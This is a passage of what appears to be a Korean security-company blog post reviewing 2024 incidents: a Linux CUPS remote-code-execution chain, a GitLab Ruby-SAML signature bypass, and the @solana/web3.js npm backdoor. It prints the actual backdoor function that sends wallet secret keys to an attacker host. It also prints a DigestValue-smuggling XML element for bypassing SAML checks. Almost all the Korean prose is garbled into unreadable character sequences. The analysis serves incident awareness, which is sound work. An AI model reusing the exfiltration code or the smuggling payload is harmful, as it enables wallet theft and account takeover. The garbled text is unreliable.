์ทจ์•ฝ์ ๋“ค์„ ์—ฐ๊ฒฐํ•˜๋ฉด Linux CUPS์— ๋Œ€ํ•œ ์ „๋ฐ˜์ ์ธ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. cups-browsed๋Š” ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” UDP ํฌํŠธ 631 ํŠธ๋ž˜ํ”ฝ์„ ์ˆ˜์‹ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜ IPP ํŒจํ‚ท์„ ์ „๋‹ฌํ•˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฃผ์†Œ๋กœ ์‹œ์Šคํ…œ์˜ ์š”์ฒญ์„ ๊ฐ•์ œ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ดํ›„ libcupsfilters ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์กฐ์ž‘๋œ IPP ์†์„ฑ์„ ์„œ๋ฒ„์˜ ํ”„๋ฆฐํ„ฐ ์†์„ฑ์œผ๋กœ ์‚ฝ์ž…ํ•จ์œผ๋กœ์จ, ์ž„์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์‹œ์Šคํ…œ์œผ๋กœ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ์กฐ์ž‘๋œ IPP ์†์„ฑ์€ ์ž„์‹œ ํŒŒ์ผ(PPD)๋กœ ๊ธฐ๋ก๋˜๊ณ , ์ด ๊ณผ์ •์—์„œ ์ž„์˜ ๋ช…๋ น์–ด ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. cups-filters์˜foomatic-rip๋Š” ๊ตฌ์กฐ์ ์œผ๋กœ PPD ํŒŒ์ผ ๋‚ด ๋ช…๋ น์–ด๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋ฌธ์ œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์–ด, ๊ณต๊ฒฉ์ž๋Š” PDD์— ์‚ฝ์ž…๋œ ์ž„์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ๋“ค์€ CUPS๊ฐ€ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ ๋„คํŠธ์›Œํฌ ์„œ๋น„์Šค๊ฐ€ ์„ค์ •๋œ ๋Œ€๋ถ€๋ถ„์˜ GNU/Linux ๋ฐฐํฌํŒ์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ๋„คํŠธ์›Œํฌ์—์„œ ์ž„์˜ ํ”„๋ฆฐํ„ฐ ์„ค์ •์„ ๋ฐฐํฌํ•˜๊ฑฐ๋‚˜, ๋ฆฌ๋ˆ…์Šค์—์„œ ์ธ์‡„ ์ž‘์„ฑ์„ ์ˆ˜ํ–‰ ์‹œ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CUPS์—์„œ ๋ฐœ๊ฒฌ๋œ ์ด๋ฒˆ ์ทจ์•ฝ์ ์€ ๋‹จ์ˆœํ•œ ์ธ์‡„ ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ๋„˜์–ด, ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ์„ ์žฅ์•…ํ•  ์ˆ˜ ์žˆ๋Š” ์‹ฌ๊ฐํ•œ ์œ„ํ˜‘์ด ์„ธ์ƒ์— ๋“œ๋Ÿฌ๋‚œ ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค.

Reference


5. GitLab SAML Authentication Bypass

2024๋…„ 10์›”, ahacker1 ๋‹‰๋„ค์ž„์„ ์‚ฌ์šฉํ•˜๋Š” ์ด์šฉ์ž๊ฐ€ Gitlab์— ์ œ๋ณดํ•œ SAML 2.0 ์ธ์ฆ ์šฐํšŒ ๋ณด๊ณ ์„œ๊ฐ€ resolve๋˜๊ณ , ProjectDiscovery๋Š” ๋ธ”๋กœ๊ทธ๋ฅผ ํ†ตํ•ด ํ•ด๋‹น CVE์— ๋Œ€ํ•œ ๋‚ด์šฉ์„ ์ž‘์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค.

SAML 2.0์€ ์›น ๊ธฐ๋ฐ˜์œผ๋กœ Cross-Domain ์‚ฌ์ด์˜ Single-Sign-On(SSO)๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ด์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•˜๋ ค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(service-provider, sp)์ด SAML 2.0์„ ํ†ตํ•ด ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค๋ฉด, ์ด์šฉ์ž๋Š” ์ธ์ฆ์„ ๋‹ด๋‹นํ•˜๋Š” ์„œ๋น„์Šค(identity provider, idp)(์˜ˆ: okta)์— ์ ‘๊ทผํ•˜์—ฌ SAML Request๋ฅผ ์ „์†กํ•˜๊ณ , ๋ฐœ๊ธ‰ ๋ฐ›์€ SAML Response๋ฅผ sp์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

SAML 2.0์€ xml ๊ธฐ๋ฐ˜์˜ ์ธ์ฆ ํ”„๋กœํ† ์ฝœ๋กœ, ํ”„๋ก ํŠธ ์ฑ„๋„(๋ธŒ๋ผ์šฐ์ €)์„ ํ†ตํ•ด ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ SAML Response๋ฅผ ๋ณ€์กฐํ•˜๋Š” ์œ„ํ˜‘์— ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด idp๋Š” ์ž์‹ ์˜ ๊ฐœ์ธํ‚ค(private key)๋ฅผ ํ†ตํ•ด์„œ SAML Response๋ฅผ ์„œ๋ช…ํ•˜๊ณ , sp๋Š” ์‚ฌ์ „์— ์ฃผ๊ณ ๋ฐ›์€ idp์˜ ๊ณต๊ฐœํ‚ค(public key)๋ฅผ ํ†ตํ•ด ์„œ๋ช…์„ ๊ฒ€์ฆํ•˜๋Š” ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ ๋กœ์ง์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

SAML 2.0์˜ ๋ฌด๊ฒฐ์„ฑ

์•„๋ž˜๋Š” SAML Response ์ค‘, Authentication/Authorization ์ •๋ณด๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๋Š” Assertion element์ž…๋‹ˆ๋‹ค.

<saml2:Assertion ID="id1978244104239461956894491" IssueInstant="2024-11-25T07:45:51.914Z"
    Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        http://www.okta.com/exk4inopqamS9Yhof697</saml2:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
            <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
            <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
            <ds:Reference URI="#id1978244104239461956894491">
                <ds:Transforms>
                    <ds:Transform
                        Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                <ds:DigestValue>UP3fyYNL5o21aMutIIF+z5DHHCeK83HKMU9Jcyzweg0=</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>
            ARhr6QlCabLTfxw76iZKV0Edb2AkGWqveGa9WSRfLU5CBg2Xb5HvM8LFte1cvp+4WQwk5G5PG1ijRG31i06i1BvemUmUpBT5W8a62XWHopEHw/bCxm4qIBGM3T5MdeePsfJAG1gQ8cA/xIk9ILxvYp/ngFJ/zl0glRi11q1KHLiggUzwnCComItI6BaU8ELWAmFnX/goUOI530I2ypFfFKKyHqKBonzvVbnYxcyZtP/9pO4VGP1lT58o7IksolyO7mYhPTUC8fc2qH9qrPUCfwrayeimn3lmtNBQyRQT9jJ53jdsf4lf2KTZAgx6XqL6k7QZSzd2E0zosfj4Kg72gQ==</ds:SignatureValue>
        <ds:KeyInfo>
            <ds:X509Data>
                <ds:X509Certificate>{idp public key}</ds:X509Certificate>
            </ds:X509Data>
        </ds:KeyInfo>
    </ds:Signature>
    <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
            theori@theori.io</saml2:NameID>
        <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
            <saml2:SubjectConfirmationData
                InResponseTo="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
                NotOnOrAfter="2024-11-25T07:50:51.915Z"
                Recipient="https://github.com/orgs/mygithub-orgs/saml/consume" />
        </saml2:SubjectConfirmation>
    </saml2:Subject>
    <saml2:Conditions NotBefore="2024-11-25T07:40:51.915Z"
        NotOnOrAfter="2024-11-25T07:50:51.915Z"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:AudienceRestriction>
            <saml2:Audience>https://github.com/orgs/mygithub-orgs</saml2:Audience>
        </saml2:AudienceRestriction>
    </saml2:Conditions>
    <saml2:AuthnStatement AuthnInstant="2024-11-25T07:45:51.471Z"
        SessionIndex="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:AuthnContext>
            <saml2:AuthnContextClassRef>
                urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
        </saml2:AuthnContext>
    </saml2:AuthnStatement>
</saml2:Assertion>

์œ„ Asserition์€ theori@theori.io ๊ณ„์ •์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ https://github.com/orgs/mygithub-orgs์— ๋กœ๊ทธ์ธํ•˜๊ธฐ ์œ„ํ•ด idp๋กœ๋ถ€ํ„ฐ ๋ฐ›์€ SAML Response์˜ ์ผ๋ถ€๋กœ, ์ด์šฉ์ž ์ธ์ฆ ์ •๋ณด์˜ ์„œ๋ช…๊ฐ’์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๊ฐ’์€ DigestValue, SignatureValue์ž…๋‹ˆ๋‹ค. DigestValue๋Š” Reference ๋…ธ๋“œ์˜ ์ž์‹์— ํฌํ•จ๋˜์–ด, ์ธ์ฆ ์ •๋ณด(์˜ˆ: NameID, Audience)๋ฅผ sha256 ํ•ด์‹ฑํ•œ ๊ฐ’์œผ๋กœ ๊ตฌ์„ฑ๋˜๊ณ , ํ•ด๋‹น ํ•„๋“œ๋“ค์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. SignatureValue๋Š” DigestValue๋ฅผ ํฌํ•จํ•˜๋Š” SignedInfo๋ฅผ idp์˜ ๊ฐœ์ธํ‚ค๋กœ ์„œ๋ช…ํ•œ ๊ฐ’์œผ๋กœ, DigestValue์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

Exploit

SAML Response๋Š” xml์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, sp์—์„œ๋Š” xml์„ ํŒŒ์‹ฑํ•˜๊ณ  ํŠน์ • element๋ฅผ ๊ฐ€์ ธ์™€ ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•˜๊ณ , ์ธ์ฆ ์ •๋ณด๋ฅผ ๋ฐ›์•„์˜ต๋‹ˆ๋‹ค. ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์ฆ์€ DigestValue ๊ฒ€์ฆ ํ›„ Signature ๊ฒ€์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค.

Gitlab์—์„œ๋Š” Ruby-SAML ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ํŠน์ • element๋ฅผ ์กฐํšŒ ์‹œ XPath๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์€ DigestValue๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ XPath Axes์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฒ„์ „์€ ์•„๋ž˜์™€ ๊ฐ™์ด DigestValue๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

์œ„ ์ฝ”๋“œ๋Š” SAML Response์˜ DSIG namespace์—์„œ ์ฒ˜์Œ์œผ๋กœ ๋‚˜ํƒ€๋‚˜๋Š” DigestValue๋ฅผ ์ฐพ๊ณ , ๊ฐ€์ ธ์˜จ DigestValue์™€ Assertion ์ •๋ณด์˜ ํ•ด์‹œ๋œ ๊ฐ’์„ ๋น„๊ตํ•˜์—ฌ ์ธ์ฆ ์ •๋ณด์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ SAML 2.0์—์„œ๋Š” element๋ฅผ validํ•œ namespace์— ๋„ฃ์–ด์ฃผ๊ธฐ ์œ„ํ•ด ๋””์ž์ธ๋œ samlp:Extensions์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด, ๊ณต๊ฒฉ์ž๋Š” Assertion ๋…ธ๋“œ ์•ž์— ์•„๋ž˜์™€ ๊ฐ™์€ element๋ฅผ ์‚ฝ์ž…ํ•จ์œผ๋กœ์จ, XPath Axes๋ฅผ ํ†ตํ•ด์„œ ๊ฐ€์ ธ์˜ค๋Š” DigestValue๋ฅผ ์Šค๋จธ๊ธ€๋ง(smuggling)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<samlp:Extensions>
    <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
        {์ˆ˜์ •๋œ ์ธ์ฆ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ Assertion์˜ ํ•ด์‹œ ๊ฐ’}
    </DigestValue>
</samlp:Extensions>

์‚ฝ์ž…๋œ DigestValue๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ˆ˜์ •ํ•œ Assertion ์ •๋ณด์— ๋Œ€ํ•œ ํ•ด์‹œ๊ฐ’์„ ๊ฐ–๋„๋ก ์„ค์ •ํ•  ๊ฒฝ์šฐ, sp์—์„œ ๊ฒ€์ฆ์„ ์œ„ํ•ด ๊ฐ€์ ธ์˜จ DigestValue๊ฐ€ ์œ„์—์„œ ์Šค๋จธ๊ธ€๋งํ•œ DigestValue๊ฐ€ ๋˜์–ด Digest ๊ฒ€์ฆ ๋กœ์ง์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ด๋•Œ SignedInfo์— ํฌํ•จ๋œ DigestValue๋Š” ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋ช…๊ฐ’์— ๋Œ€ํ•œ ๊ฒ€์ฆ๋„ ํ•จ๊ป˜ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

SAML 2.0์—์„œ๋Š” Assertion์— ๋Œ€ํ•œ ์„œ๋ช… ์™ธ์—๋„ ์ „์ฒด ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ์„œ๋ช…์„ ์ˆ˜ํ–‰ํ•˜์ง€๋งŒ, ์ผ๋ฐ˜์ ์œผ๋กœ Assertion์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ํ†ต๊ณผ๋  ๊ฒฝ์šฐ, ์ „์ฒด ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ๊ฒ€์ฆ ์‹คํŒจ๊ฐ€ ์ธ์ฆ ์‹คํŒจ๋กœ ์ด์–ด์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ํ˜„์žฌ Ruby-SAML ํŒ€์— ์˜ํ•ด ํŒจ์น˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๋ฒ„์ „์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ํŒจ์น˜ ์ดํ›„์˜ ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธ ํ•˜๋Š” ๊ฒƒ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Reference


6. @solana/web3.js Backdoor

์Šค๋งˆํŠธ ์ปจํŠธ๋ž™ํŠธ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ธ”๋ก์ฒด์ธ ํ”Œ๋žซํผ Solana๋Š”, ๊ทธ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต์‹ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(@solana/web3.js)๊ฐ€ ์ฃผ๊ฐ„ ์•ฝ 50๋งŒํšŒ ๋‹ค์šด๋กœ๋“œ๋  ์ •๋„๋กœ ํ™œ๋ฐœํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

2024๋…„ 12์›” 3์ผ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ์Šคํ”ผ์–ด ํ”ผ์‹ฑ ๋ฉ”์ผ์„ ๋ฐ›์•„ ๊ณต๊ฒฉ์ž์˜ ์›น์‚ฌ์ดํŠธ์— ๊ณ„์ • ์ •๋ณด๋ฅผ ์ž…๋ ฅํ•œ ๊ฒƒ์ด ์›์ธ์ด ๋˜์–ด @solana/web3.js ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž์˜ ๊ณ„์ • ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•œ ๊ณต๊ฒฉ์ž๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ํŒจํ‚ค์ง€์— ์ถ”๊ฐ€ํ•ด ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค.

static addToQueue(process) {
  const b = bs58__default.default.encode(process);
  if (QUEUE.has(b)) return;
  QUEUE.add(b);
  fetch("https://sol-rpc.xyz/api/rpc/queue", {
    method: "POST",
    headers: {
      "x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
      "x-session-id": b.substring(32),
      "x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
    }
  }).catch(() => {});
}

addToQueue๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์•„๋ž˜ ๋ชฉ๋ก์˜ ์ง€๊ฐ‘ ๊ด€๋ จ ๋ฉ”์„œ๋“œ ์‚ฌ์šฉ ์‹œ ํ˜ธ์ถœ๋˜๋„๋ก ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

  • new Account()

  • Keypair.fromSecretKey()

  • Keypair.fromSeed()

  • Ed25519Program.createInstructionWithPrivateKey()

  • Secp256k1Program.createInstructionWithPrivateKey()

ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ๋น„๋ฐ€ํ‚ค๋ฅผ ํ—ค๋”์— ํฌํ•จํ•˜์—ฌ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜์˜€๊ณ , ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ง€๊ฐ‘์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์•…์„ฑ์ฝ”๋“œ์˜ ์˜ํ–ฅ์„ ๋ฐ›์€ ์ทจ์•ฝํ•œ ๋ฒ„์ „์€ 1.95.6, 1.95.7์ด๋ฉฐ, 6์‹œ๊ฐ„๋งŒ์— ๋Œ€์‘ํ•˜์—ฌ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์‚ญ์ œํ•˜์˜€์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  16๋งŒ ๋‹ฌ๋Ÿฌ(ํ•œํ™” ์•ฝ 2.3์–ต)์˜ ์ž์‚ฐ ํƒˆ์ทจ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.

์˜คํ”ˆ์†Œ์Šค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ ํ•ดํ‚น ๊ณต๊ฒฉ์€ ๋นˆ๋ฒˆํ•˜๊ฒŒ ์ผ์–ด๋‚˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ „ ํฌ์ŠคํŠธ์— ์†Œ๊ฐœํ–ˆ๋˜ XZ ๋ฐฑ๋„์–ด๋„ ์ด์™€ ๋น„์Šทํ•œ ์‚ฌ๋ก€์˜€์Šต๋‹ˆ๋‹ค.

Reference


๋งˆ์น˜๋ฉฐ

์ด๋ฒˆ ํฌ์ŠคํŒ…์—์„œ๋Š” 2024๋…„ ํ•˜๋ฐ˜๊ธฐ์— ๋ฐœ์ƒํ•œ ๋ณด์•ˆ ์‚ฌ๊ฑด/์‚ฌ๊ณ ๋ฅผ ๋‹ค๋ฃจ์–ด ๋ณด์•˜์Šต๋‹ˆ๋‹ค.

์‹œ์Šคํ…œ์„ ๋ณดํ˜ธํ•˜๊ณ , ์ตœ์ข…์ ์œผ๋กœ ๋ณด์•ˆ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์˜์‹ฌ ํ™œ๋™ ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐ ์†Œํ”„ํŠธ์›จ์–ด ๊ฒ€์ˆ˜๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, ์ตœ์‹  ๋ณด์•ˆ ๋™ํ–ฅ์— ๋Œ€ํ•œ ์ง€์†์ ์ธ ๊ด€์‹ฌ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ์—ฌ๋Ÿฌ ์‚ฌ๋ก€๋ฅผ ํ†ตํ•ด ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด, ํ”ผ์‹ฑ์œผ๋กœ ๋Œ€ํ‘œ๋˜๋Š” ์‚ฌํšŒ๊ณตํ•™ ๊ณต๊ฒฉ์€ ์šฐ๋ฆฌ ์ฃผ๋ณ€์—์„œ ๋‹ค์–‘ํ•œ ๋ฐฉ์‹์œผ๋กœ ๋ฐœ์ƒํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฉ”์ผ ๋˜๋Š” URL ์ ‘๊ทผ ์‹œ ๋ฉ”์ผ์˜ ๋ฐœ์‹ ์ž๋‚˜ URL์˜ ์†Œ์œ ์ž๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋Œ€์ƒ์ธ์ง€ ์ฃผ์˜ํ•˜๊ณ , ๊ณต์‹ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

2025๋…„์—๋„ ํ‹ฐ์˜ค๋ฆฌ Security Assessment ํŒ€์€ ๊พธ์ค€ํ•œ ์‚ฌ๋ก€ ์กฐ์‚ฌ์™€ ๊ธฐ์ˆ  ์—ฐ๊ตฌ๋ฅผ ํ†ตํ•ด ์ฆ‰๊ฐ์ ์ธ ์œ„ํ˜‘๋ถ€ํ„ฐ ์ž ์žฌ์ ์ธ ์œ„ํ˜‘๊นŒ์ง€ ์„ ์ œ์ ์œผ๋กœ ๋Œ€์‘ํ•ด๋‚˜๊ฐˆ ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.


About Theori Security Assessment

ํ‹ฐ์˜ค๋ฆฌ Security Assessment ํŒ€์€ ์‹ค์ œ ํ•ด์ปค๋“ค์˜ ์˜คํŽœ์‹œ๋ธŒ ๋ณด์•ˆ ๊ฐ์‚ฌ ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ด ๊ณ ๊ฐ์˜ ์„œ๋น„์Šค์™€ ์ธํ”„๋ผ์ŠคํŠธ๋Ÿญ์ฒ˜๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ํ•จ์œผ๋กœ์จ ๋น„์ฆˆ๋‹ˆ์Šค๋ฅผ ๋ณดํ˜ธํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, ๋”์šฑ ์•ˆ์ „ํ•œ ์„ธ์ƒ์„ ์œ„ํ•ด ๋‚œ์ œ๊ธ‰ ์‚ฌ์ด๋ฒ„๋ณด์•ˆ ๋ฌธ์ œ๋“ค์„ ํ•ด๊ฒฐํ•˜๋Š” ๊ฒƒ์„ ์ฆ๊ธฐ๋ฉฐ, ์˜คํŽœ์‹œ๋ธŒ ์‚ฌ์ด๋ฒ„๋ณด์•ˆ์˜ ๋ฆฌ๋”๋กœ์„œ, ๊ณต๊ฒฉ์ž๋ณด๋‹ค ํ•œ๋ฐœ ์•ž์„œ ๋Œ€์‘ํ•˜๊ณ  ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์—ฌ๊ฒจ์ง€๋Š” ๋ฌธ์ œ๋ฅผ ๊ธฐ์ˆ ์ค‘์‹ฌ์ ์œผ๋กœ ํ•ด๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

Share article

๊ด€๋ จ ์ฝ˜ํ…์ธ 

See more posts

Theori ยฉ 2025 All rights reserved.